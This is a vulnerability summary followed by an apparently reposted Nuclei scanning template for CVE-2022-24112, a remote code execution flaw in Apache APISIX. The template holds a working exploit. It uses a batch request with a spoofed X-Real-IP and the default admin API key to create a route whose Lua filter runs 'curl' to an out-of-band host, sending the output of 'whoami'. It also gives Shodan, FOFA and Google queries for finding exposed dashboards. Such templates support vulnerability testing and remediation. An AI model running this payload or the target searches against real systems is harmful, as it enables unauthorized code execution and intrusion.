A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.
PoC代码[已公开]
id: CVE-2022-24112
info:
name: Apache APISIX - Remote Code Execution
author: Mr-xn
severity: critical
description: A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: Upgrade to 2.10.4 or 2.12.1. Or, explicitly configure the enabled plugins in `conf/config.yaml` and ensure `batch-requests` is disabled. (Or just comment out `batch-requests` in `conf/config-default.yaml`).
reference:
- https://www.openwall.com/lists/oss-security/2022/02/11/3
- https://twitter.com/sirifu4k1/status/1496043663704858625
- https://apisix.apache.org/zh/docs/apisix/plugins/batch-requests
- https://nvd.nist.gov/vuln/detail/CVE-2022-24112
- http://www.openwall.com/lists/oss-security/2022/02/11/3
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-24112
cwe-id: CWE-290
epss-score: 0.9434
epss-percentile: 0.99951
cpe: cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: apache
product: apisix
shodan-query:
- title:"Apache APISIX Dashboard"
- http.title:"apache apisix dashboard"
fofa-query:
- title="Apache APISIX Dashboard"
- title="apache apisix dashboard"
google-query: intitle:"apache apisix dashboard"
tags: cve,cve2022,apache,rce,apisix,oast,kev,intrusive
http:
- raw:
- |
POST /apisix/batch-requests HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
{
"headers":{
"X-Real-IP":"127.0.0.1",
"Content-Type":"application/json"
},
"timeout":1500,
"pipeline":[
{
"method":"PUT",
"path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1",
"body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/{{randstr}}\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl {{interactsh-url}}/`whoami`'); return true end\"}"
}
]
}
- |
GET /api/{{randstr}} HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
matchers-condition: and
matchers:
- type: word
part: body_1
words:
- '"reason":"OK"'
- '"status":200'
condition: and
- type: word
part: interactsh_protocol
words:
- http
- type: status
status:
- 200
extractors:
- type: regex
group: 1
regex:
- GET \/([a-z-]+) HTTP
part: interactsh_request
# digest: 4b0a00483046022100a03cd4fb6d6e4d1c6db5cf78c61e99949ef4583128bbc82c19b1c2da883f11fd022100d8f56c4b26aaba70eecbd7e2b2ee3e134bd234650662241d64758d7dc571fdcd:922c64590222798bb761d5b6d8e72950